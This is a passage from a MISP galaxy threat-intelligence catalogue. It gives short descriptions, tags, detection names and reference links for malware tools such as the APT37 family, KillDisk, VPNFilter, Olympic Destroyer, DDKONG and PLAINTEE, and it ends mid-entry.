The tag is: *misp-galaxy:tool="miniFlame"*

Table 4194. Table References

Links
https://securelist.com/miniflame-aka-spe-elvis-and-his-friends-5/31730/
https://www.csoonline.com/article/2132422/malware-cybercrime/cyberespionage-malware—miniflame—discovered.html

GHOTEX

PE_GHOTEX.A-O is a portable executable (PE is the standard executable format for 32-bit Windows files) virus. PE viruses infect executable Windows files by incorporating their code into these files such that they are executed when the infected files are opened.

The tag is: *misp-galaxy:tool="GHOTEX"*

Table 4195. Table References

Links
https://www.trendmicro.com/vinfo/dk/threat-encyclopedia/archive/malware/pe_ghotex.a-o

Shipup

Trojan:Win32/Shipup.G is a trojan that modifies the Autorun feature for certain devices.

The tag is: *misp-galaxy:tool="Shipup"*

Table 4196. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Shipup.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FShipup.K
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Shipup.A
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32ShipUp-F/detailed-analysis.aspx]
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojShipUp-A/detailed-analysis.aspx]

Neuron

Neuron consists of both client and server components. The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps. The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines. The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command & Control (C2) for the client component. Establishing a local C2 limits interaction with the target network and remote hosts. It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.

The tag is: *misp-galaxy:tool="Neuron"*

Neuron has relationships with:

- similar: misp-galaxy:malpedia="Neuron" with estimative-language:likelihood-

probability="likely"

Table 4197. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf

Nautilus

Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed. This malware is referred to as Nautilus due to its embedded internal DLL name “nautilus-service.dll”, again sharing some resemblance to Neuron. The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk

The tag is: *misp-galaxy:tool="Nautilus"*

Nautilus has relationships with:

- similar: misp-galaxy:malpedia="Nautilus" with estimative-language:likelihood-probability="likely"

Table 4198. Table References

Links
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Turla%20group%20using%20Neuron%20and%20Nautilus%20tools%20alongside%20Snake%20malware_0.pdf

Gamut Botnet

Gamut was found to be downloaded by a Trojan Downloader that arrives as an attachment from a spam email message. The bot installation is quite simple. After the malware binary has been downloaded, it launches itself from its current directory, usually the Windows %Temp% folder and installs itself as a Windows service. The malware utilizes an anti-VM (virtual machine) trick and terminates itself if it detects that it is running in a virtual machine environment. The bot uses INT 03h trap sporadically in its code, an anti-debugging technique which prevents its code from running within a debugger environment. It can also determine if it is being debugged by using the Kernel32 API - IsDebuggerPresent function.

The tag is: *misp-galaxy:tool="Gamut Botnet"*

Table 4199. Table References

Links
https://www.bleepingcomputer.com/news/security/necurs-and-gamut-botnets-account-for-97-percent-of-the-internets-spam-emails/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Gamut-Spambot-Analysis/

CORALDECK

CORALDECK is an exfiltration tool that searches for specified files and exfiltrates them in password protected archives using hardcoded HTTP POST headers. CORALDECK has been observed dropping and using Winrar to exfiltrate data in password protected RAR files as well as WinImage and zip archives

The tag is: *misp-galaxy:tool="CORALDECK"*

CORALDECK is also known as:

- APT.InfoStealer.Win.CORALDECK
- FE_APT_InfoStealer_Win_CORALDECK_1

CORALDECK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CORALDECK - S0212" with estimative-language:likelihood-probability="likely"

Table 4200. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

DOGCALL

DOGCALL is a backdoor commonly distributed as an encoded binary file downloaded and decrypted by shellcode following the exploitation of weaponized documents. DOGCALL is capable of capturing screenshots, logging keystrokes, evading analysis with anti-virtual machine detections, and leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex. DOGCALL was used to target South Korean Government and military organizations in March and April 2017. The malware is typically dropped using an HWP exploit in a lure document. The wiper tool, RUHAPPY, was found on some of the systems targeted by DOGCALL. While DOGCALL is primarily an espionage tool, RUHAPPY is a destructive wiper tool meant to render systems inoperable.

The tag is: *misp-galaxy:tool="DOGCALL"*

DOGCALL is also known as:

- FE_APT_RAT_DOGCALL
- FE_APT_Backdoor_Win32_DOGCALL_1
- APT.Backdoor.Win.DOGCALL

DOGCALL has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="DOGCALL - S0213" with estimative-language:likelihood-probability="likely"

Table 4201. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

GELCAPSULE

GELCAPSULE is a downloader traditionally dropped or downloaded by an exploit document. GELCAPSULE has been observed downloading SLOWDRIFT to victim systems.

The tag is: *misp-galaxy:tool="GELCAPSULE"*

GELCAPSULE is also known as:

- FE_APT_Downloader_Win32_GELCAPSULE_1

Table 4202. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

HAPPYWORK

HAPPYWORK is a malicious downloader that can download and execute a second-stage payload, collect system information, and beacon it to the command and control domains. The collected system information includes: computer name, user name, system manufacturer via registry, IsDebuggerPresent state, and execution path. In November 2016, HAPPYWORK targeted government and financial targets in South Korea.

The tag is: *misp-galaxy:tool="HAPPYWORK"*

HAPPYWORK is also known as:

- FE_APT_Downloader_HAPPYWORK
- FE_APT_Exploit_HWP_Happy
- Downloader.APT.HAPPYWORK

HAPPYWORK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="HAPPYWORK - S0214" with estimative-language:likelihood-probability="likely"

Table 4203. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

KARAE

Karae backdoors are typically used as first-stage malware after an initial compromise. The backdoors can collect system information, upload and download files, and may be used to retrieve a second-stage payload. The malware uses public cloud-based storage providers for command and control. In March 2016, KARAE malware was distributed through torrent file-sharing websites for South Korean users. During this campaign, the malware used a YouTube video downloader application as a lure.

The tag is: *misp-galaxy:tool="KARAE"*

KARAE is also known as:

- FE_APT_Backdoor_Karae_enc
- FE_APT_Backdoor_Karae
- Backdoor.APT.Karae

KARAE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="KARAE - S0215" with estimative-language:likelihood-probability="likely"

Table 4204. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

MILKDROP

MILKDROP is a launcher that sets a persistence registry key and launches a backdoor.

The tag is: *misp-galaxy:tool="MILKDROP"*

MILKDROP is also known as:

- FE_Trojan_Win32_MILKDROP_1

Table 4205. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

POORAIM

POORAIM malware is designed with basic backdoor functionality and leverages AOL Instant Messenger for command and control communications. POORAIM includes the following capabilities: System information enumeration, File browsing, manipulation and exfiltration, Process enumeration, Screen capture, File execution, Exfiltration of browser favorites, and battery status. Exfiltrated data is sent via files over AIM. POORAIM has been involved in campaigns against

South Korean media organizations and sites relating to North Korean refugees and defectors since early 2014. Compromised sites have acted as watering holes to deliver newer variants of POORAIM.

The tag is: *misp-galaxy:tool="POORAIM"*

POORAIM is also known as:

- Backdoor.APT.POORAIM

POORAIM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="POORAIM - S0216" with estimative-language:likelihood-probability="likely"

Table 4206. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RICECURRY

RICECURRY is a Javascript based profiler used to fingerprint a victim's web browser and deliver malicious code in return. Browser, operating system, and Adobe Flash version are detected by RICECURRY, which may be a modified version of PluginDetect.

The tag is: *misp-galaxy:tool="RICECURRY"*

RICECURRY is also known as:

- Exploit.APT.RICECURRY

Table 4207. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RUHAPPY

RUHAPPY is a destructive wiper tool seen on systems targeted by DOGCALL. It attempts to overwrite the MBR, causing the system not to boot. When victims' systems attempt to boot, the string 'Are you Happy?' is displayed. The malware is believed to be tied to the developers of DOGCALL and HAPPYWORK based on similar PDB paths in all three.

The tag is: *misp-galaxy:tool="RUHAPPY"*

RUHAPPY is also known as:

- FE_APT_Trojan_Win32_RUHAPPY_1

Table 4208. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SHUTTERSPEED

SHUTTERSPEED is a backdoor that can collect system information, acquire screenshots, and download/execute an arbitrary executable. SHUTTERSPEED typically requires an argument at runtime in order to execute fully. Observed arguments used by SHUTTERSPEED include: 'help', 'console', and 'sample'. The spear phishing email messages contained documents exploiting RTF vulnerability CVE-2017-0199. Many of the compromised domains in the command and control infrastructure are linked to South Korean companies. Most of these domains host a fake webpage pertinent to targets.

The tag is: *misp-galaxy:tool="SHUTTERSPEED"*

SHUTTERSPEED is also known as:

- FE_APT_Backdoor_SHUTTERSPEED
- APT.Backdoor.SHUTTERSPEED

SHUTTERSPEED has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SHUTTERSPEED - S0217" with estimative-language:likelihood-probability="likely"

Table 4209. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SLOWDRIFT

SLOWDRIFT is a launcher that communicates via cloud based infrastructure. It sends system information to the attacker command and control and then downloads and executes additional payloads.Lure documents distributing SLOWDRIFT were not tailored for specific victims, suggesting that TEMP.Reaper is attempting to widen its target base across multiple industries and in the private sector. SLOWDRIFT was seen being deployed against academic and strategic targets in South Korea using lure emails with documents leveraging the HWP exploit. Recent SLOWDRIFT samples were uncovered in June 2017 with lure documents pertaining to cyber crime prevention and news stories. These documents were last updated by the same actor who developed KARAE, POORAIM and ZUMKONG.

The tag is: *misp-galaxy:tool="SLOWDRIFT"*

SLOWDRIFT is also known as:

- FE_APT_Downloader_Win_SLOWDRIFT_1
- FE_APT_Downloader_Win_SLOWDRIFT_2

- APT.Downloader.SLOWDRIFT

SLOWDRIFT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SLOWDRIFT - S0218" with estimative-language:likelihood-probability="likely"

Table 4210. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

SOUNDWAVE

SOUNDWAVE is a windows based audio capturing utility. Via command line it accepts the -l switch (for listen probably), captures microphone input for 100 minutes, writing the data out to a log file in this format: C:\Temp\HncDownload\YYYYMMDDHHMMSS.log.

The tag is: *misp-galaxy:tool="SOUNDWAVE"*

SOUNDWAVE is also known as:

- FE_APT_HackTool_Win32_SOUNDWAVE_1

Table 4211. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

ZUMKONG

ZUMKONG is a credential stealer capable of harvesting usernames and passwords stored by Internet Explorer and Chrome browsers. Stolen credentials are emailed to the attacker via HTTP POST requests to mail[.]zmail[.]ru.

The tag is: *misp-galaxy:tool="ZUMKONG"*

ZUMKONG is also known as:

- FE_APT_Trojan_Zumkong
- Trojan.APT.Zumkong

Table 4212. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

WINERACK

WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes.

The tag is: *misp-galaxy:tool="WINERACK"*

WINERACK is also known as:

- FE_APT_Backdoor_WINERACK
- Backdoor.APT.WINERACK

WINERACK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="WINERACK - S0219" with estimative-language:likelihood-probability="likely"

Table 4213. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

RoyalCli

The RoyalCli backdoor appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary: 'c:\users\wizard\documents\visual studio 2010\Projects\RoyalCli\Release\RoyalCli.pdb' RoyalCli and BS2005 both communicate with the attacker’s command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2. Due to the nature of the technique, this results in C2 data being cached to disk by the IE process; we’ll get to this later.

The tag is: *misp-galaxy:tool="RoyalCli"*

RoyalCli has relationships with:

- similar: misp-galaxy:malpedia="RoyalCli" with estimative-language:likelihood-probability="likely"

Table 4214. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

RoyalDNS

The tag is: *misp-galaxy:tool="RoyalDNS"*

Table 4215. Table References

Links
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

SHARPKNOT

The tag is: *misp-galaxy:tool="SHARPKNOT"*

SHARPKNOT has relationships with:

- similar: misp-galaxy:malpedia="SHARPKNOT" with estimative-language:likelihood-probability="likely"

Table 4216. Table References

Links
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf

KillDisk Wiper

KillDisk, along with the multipurpose, cyberespionage-related BlackEnergy, was used in cyberattacks in late December 2015 against Ukraine’s energy sector as well as its banking, rail, and mining industries. The malware has since metamorphosed into a threat used for digital extortion, affecting Windows and Linux platforms. The note accompanying the ransomware versions, like in the case of Petya, was a ruse: Because KillDisk also overwrites and deletes files (and don’t store the encryption keys on disk or online), recovering the scrambled files was out of the question. The new variant we found, however, does not include a ransom note.

The tag is: *misp-galaxy:tool="KillDisk Wiper"*

KillDisk Wiper is also known as:

- KillDisk

KillDisk Wiper has relationships with:

- similar: misp-galaxy:malpedia="KillDisk" with estimative-language:likelihood-probability="likely"

Table 4217. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/

UselessDisk

A new MBR bootlocker called DiskWriter, or UselessDisk, has been discovered that overwrites the MBR of a victim's computer and then displays a ransom screen on reboot instead of booting into Windows. This ransom note asks for $300 in bitcoins in order to gain access to Windows again. Might be a wiper.

The tag is: *misp-galaxy:tool="UselessDisk"*

UselessDisk is also known as:

- DiskWriter

Table 4218. Table References

Links
https://www.bleepingcomputer.com/news/security/the-diskwriter-or-uselessdisk-bootlocker-may-be-a-wiper/

GoScanSSH

During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns.

The tag is: *misp-galaxy:tool="GoScanSSH"*

Table 4219. Table References

Links
http://blog.talosintelligence.com/2018/03/goscanssh-analysis.html
https://www.bleepingcomputer.com/news/security/goscanssh-malware-avoids-government-and-military-servers/

Rovnix

We recently found that the malware family ROVNIX is capable of being distributed via macro downloader. This malware technique was previously seen in the DRIDEX malware, which was notable for using the same routines. DRIDEX is also known as the successor of the banking malware CRIDEX.

The tag is: *misp-galaxy:tool="Rovnix"*

Rovnix is also known as:

- ROVNIX

Rovnix has relationships with:

- similar: misp-galaxy:malpedia="Rovnix" with estimative-language:likelihood-probability="likely"

Table 4220. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Kwampirs

Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.

The tag is: *misp-galaxy:tool="Kwampirs"*

Kwampirs has relationships with:

- similar: misp-galaxy:malpedia="Kwampirs" with estimative-language:likelihood-probability="likely"

Table 4221. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Rubella Macro Builder

A crimeware kit dubbed the Rubella Macro Builder has recently been gaining popularity among members of a top-tier Russian hacking forum. Despite being relatively new and unsophisticated, the kit has a clear appeal for cybercriminals: it’s cheap, fast, and can defeat basic static antivirus detection.

The tag is: *misp-galaxy:tool="Rubella Macro Builder"*

Table 4222. Table References

Links
https://www.flashpoint-intel.com/blog/rubella-macro-builder/

kitty Malware

Researchers at Imperva’s Incapsula said a new piece malware called Kitty leaves a note for cat lovers. It attacks the Drupal content management system (CMS) to illegally mine cryptocurrency Monero.

The tag is: *misp-galaxy:tool="kitty Malware"*

Table 4223. Table References

Links
https://www.zdnet.com/article/hello-kitty-malware-targets-drupal-to-mine-for-cryptocurrency/
https://threatpost.com/kitty-cryptomining-malware-cashes-in-on-drupalgeddon-2-0/131668/
https://cryptovest.com/news/hello-kitty-new-malware-me0ws-its-way-into-mining-monero/

Maikspy

We discovered a malware family called Maikspy — a multi-platform spyware that can steal users’ private data. The spyware targets Windows and Android users, and first posed as an adult game named after a popular U.S.-based adult film actress. Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.

The tag is: *misp-galaxy:tool="Maikspy"*

Table 4224. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/maikspy-spyware-poses-as-adult-game-targets-windows-and-android-users/

Huigezi malware

backdoor trojan popular found prevalently in China

The tag is: *misp-galaxy:tool="Huigezi malware"*

Table 4225. Table References

Links
https://www.bleepingcomputer.com/news/gaming/chinese-police-arrest-15-people-who-hid-malware-inside-pubg-cheat-apps/

FacexWorm

Facebook, Chrome, and cryptocurrency users should be on the lookout for a new malware strain named FacexWorm that infects victims for the purpose of stealing passwords, stealing cryptocurrency funds, running cryptojacking scripts, and spamming Facebook users. This new strain was spotted in late April by Trend Micro researchers and appears to be related to two other

Facebook Messenger spam campaigns, one that took place last August, and another one from December 2017, the latter spreading the Digmine malware. Researchers say FacexWorm's modus operandi is similar to the previous two campaigns, but with the addition of new techniques aimed at cryptocurrency users.

The tag is: *misp-galaxy:tool="FacexWorm"*

Table 4226. Table References

Links
https://www.bleepingcomputer.com/news/security/facexworm-spreads-via-facebook-messenger-malicious-chrome-extension/

Bankshot

implant used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Bankshot"*

Bankshot has relationships with:

- similar: misp-galaxy:malpedia="Bankshot" with estimative-language:likelihood-probability="likely"

Table 4227. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

Proxysvc

downloader used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Proxysvc"*

Table 4228. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

Escad

backdoor used in Operation GhostSecret

The tag is: *misp-galaxy:tool="Escad"*

Table 4229. Table References

Links
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/

StalinLocker

A new in-development screenlocker/wiper called StalinLocker, or StalinScreamer, was discovered by MalwareHunterTeam that gives you 10 minutes to enter a code or it will try to delete the contents of the drives on the computer. While running, it will display screen that shows Stalin while playing the USSR anthem and displaying a countdown until files are deleted.

The tag is: *misp-galaxy:tool="StalinLocker"*

StalinLocker is also known as:

- StalinScreamer

Table 4230. Table References

Links
https://www.bleepingcomputer.com/news/security/stalinlocker-deletes-your-files-unless-you-enter-the-right-code/

VPNFilter

Advanced, likely state-sponsored or state-affiliated modular malware. The code of this malware overlaps with versions of the BlackEnergy malware. Targeted devices are Linksys, MikroTik, NETGEAR and TP-Link networking equipment in the small and home office (SOHO) space, as well as QNAP network-attached storage (NAS) systems.

The tag is: *misp-galaxy:tool="VPNFilter"*

Table 4231. Table References

Links
https://blog.talosintelligence.com/2018/05/VPNFilter.html
https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/new-vpnfilter-malware-infects-routers/
https://www.fortinet.com/blog/threat-research/defending-against-the-new-vpnfilter-botnet.html

Iron Backdoor

Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam's Soldier implant leaked source code. Iron Backdoor is also using the DynamicCall module from HackingTeam core library. Backdoor was used to drop cryptocurrency miners.

The tag is: *misp-galaxy:tool="Iron Backdoor"*

Table 4232. Table References

Links
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

Brambul

Brambul malware is a malicious Windows 32-bit SMB worm that functions as a service dynamic link library file or a portable executable file often dropped and installed onto victims' networks by dropper malware. When executed, the malware attempts to establish contact with victim systems and IP addresses on victims' local subnets. If successful, the application attempts to gain unauthorized access via the SMB protocol (ports 139 and 445) by launching brute-force password attacks using a list of embedded passwords. Additionally, the malware generates random IP addresses for further attacks.

The tag is: *misp-galaxy:tool="Brambul"*

Brambul has relationships with:

- similar: misp-galaxy:malpedia="Brambul" with estimative-language:likelihood-probability="likely"

Table 4233. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-149A

PLEAD

PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: *misp-galaxy:tool="PLEAD"*

PLEAD has relationships with:

- similar: misp-galaxy:malpedia="PLEAD" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="TSCookie" with estimative-language:likelihood-probability="likely"

Table 4234. Table References

Links
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

BabaYaga

The group behind BabaYaga —believed to be Russian-speaking hackers— uses this malware to inject sites with special keyboards to drive SEO traffic to hidden pages on compromised sites. These pages are then used to redirect users to affiliate marketing links, where if the user purchases advertised goods, the hackers also make a profit. The malware per-se is comprised of two modules —one that injects the spam content inside the compromised sites, and a backdoor module that gives attackers control over an infected site at any time. The intricacies of both modules are detailed in much more depth in this 26-page report authored by Defiant (formerly known as WordFence), the security firm which dissected the malware's more recent versions. "[BabaYaga] is relatively well-written, and it demonstrates that the author has some understanding of software development challenges, like code deployment, performance and management," Defiant researchers say. "It can also infect Joomla and Drupal sites, or even generic PHP sites, but it is most fully developed around Wordpress."

The tag is: *misp-galaxy:tool="BabaYaga"*

Table 4235. Table References

Links
https://www.bleepingcomputer.com/news/security/lol-babayaga-wordpress-malware-updates-your-site/

InvisiMole

Except for the malware's binary file, very little is known of who's behind it, how it spreads, or in what types of campaigns has this been used.

"Our telemetry indicates that the malicious actors behind this malware have been active at least since 2013, yet the cyber-espionage tool was never analyzed nor detected until discovered by ESET products on compromised computers in Ukraine and Russia," said ESET researcher Zuzana Hromcová, who recently penned an in-depth report about this new threat.

"All infection vectors are possible, including installation facilitated by physical access to the machine," Hromcová added.

Typical to malware used in highly-targeted attacks, the malware has been stripped of most clues that could lead researchers back to its author. With the exception of one file (dating to October 13, 2013), all compilation dates have been stripped and replaced with zeros, giving little clues regarding its timeline and lifespan.

Furthermore, the malware is some clever piece of coding in itself, as it's comprised of two modules, both with their own set of spying features, but which can also help each other in exfiltrating data.

The tag is: *misp-galaxy:tool="InvisiMole"*

InvisiMole has relationships with:

- similar: misp-galaxy:malpedia="InvisiMole" with estimative-language:likelihood-probability="likely"

Table 4236. Table References

Links
https://www.bleepingcomputer.com/news/security/invisimole-is-a-complex-spyware-that-can-take-pictures-and-record-audio/

Roaming Mantis

Roaming Mantis malware is designed for distribution through a simple, but very efficient trick based on a technique known as DNS hijacking. When a user attempts to access any website via a compromised router, they will be redirected to a malicious website. For example, if a user were to navigate to www.securelist.com using a web browser, the browser would be redirected to a rogue server which has nothing to do with the security research blog. As long as the browser displays the original URL, users are likely to believe the website is genuine. The web page from the rogue server displays the popup message: To better experience the browsing, update to the latest chrome version.

The tag is: *misp-galaxy:tool="Roaming Mantis"*

Roaming Mantis has relationships with:

- similar: misp-galaxy:malpedia="Roaming Mantis" with estimative-language:likelihood-probability="likely"

Table 4237. Table References

Links
https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/

PLEAD Downloader

PLEAD is referred to both as a name of malware including TSCookie and its attack campaign. PLEAD has two kinds – RAT (Remote Access Tool) and downloader. The RAT operates based on commands that are provided from C&C servers. On the other hand, PLEAD downloader downloads modules and runs it on memory in the same way as TSCookie does.

The tag is: *misp-galaxy:tool="PLEAD Downloader"*

Table 4238. Table References

Links
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html

ClipboardWalletHijacker

The malware's purpose is to intercept content recorded in the Windows clipboard, look for strings resembling Bitcoin and Ethereum addresses, and replace them with ones owned by the malware's authors. ClipboardWalletHijacker's end-plan is to hijack BTC and ETH transactions, so victims unwittingly send funds to the malware's authors.

The tag is: *misp-galaxy:tool="ClipboardWalletHijacker"*

Table 4239. Table References

Links

https://www.bleepingcomputer.com/news/security/clipboard-hijacker-targeting-bitcoin-and-ethereum-users-infects-over-300-0000-pcs/
https://blog.360totalsecurity.com/en/new-cryptominer-hijacks-your-bitcoin-transaction-over-300000-computers-have-been-attacked/

TYPEFRAME

Trojan malware

The tag is: *misp-galaxy:tool="TYPEFRAME"*

Table 4240. Table References

Links
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

Olympic Destroyer

The Winter Olympics this year is being held in Pyeongchang, South Korea. The Guardian, a UK Newspaper reported an article that suggested the Olympic computer systems suffered technical issues during the opening ceremony. Officials at the games confirmed some technical issues to non-critical systems and they completed recovery within around 12 hours. Sunday 11th February the Olympic games officials confirmed a cyber attack occurred but did not comment or speculate further. Talos have identified the samples, with moderate confidence, used in this attack. The infection vector is currently unknown as we continue to investigate. The samples identified, however, are not from adversaries looking for information from the games but instead they are aimed to disrupt the games. The samples analysed appear to perform only destructive functionality. There does not appear to be any exfiltration of data. Analysis shows that actors are again favouring legitimate pieces of software as PsExec functionality is identified within the sample. The destructive nature of this malware aims to render the machine unusable by deleting shadow copies, event logs and trying to use PsExec & WMI to further move through the environment. This is something we have witnessed previously with BadRabbit and Nyetya.

The tag is: *misp-galaxy:tool="Olympic Destroyer"*

Olympic Destroyer has relationships with:

- similar: misp-galaxy:malpedia="Olympic Destroyer" with estimative-language:likelihood-probability="likely"

Table 4241. Table References

Links
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.bleepingcomputer.com/news/security/malware-that-hit-pyeongchang-olympics-deployed-in-new-attacks/

DDKONG

The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.

The tag is: *misp-galaxy:tool="DDKONG"*

DDKONG has relationships with:

- similar: misp-galaxy:malpedia="DDKONG" with estimative-language:likelihood-probability="likely"

Table 4242. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

PLAINTEE

This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects 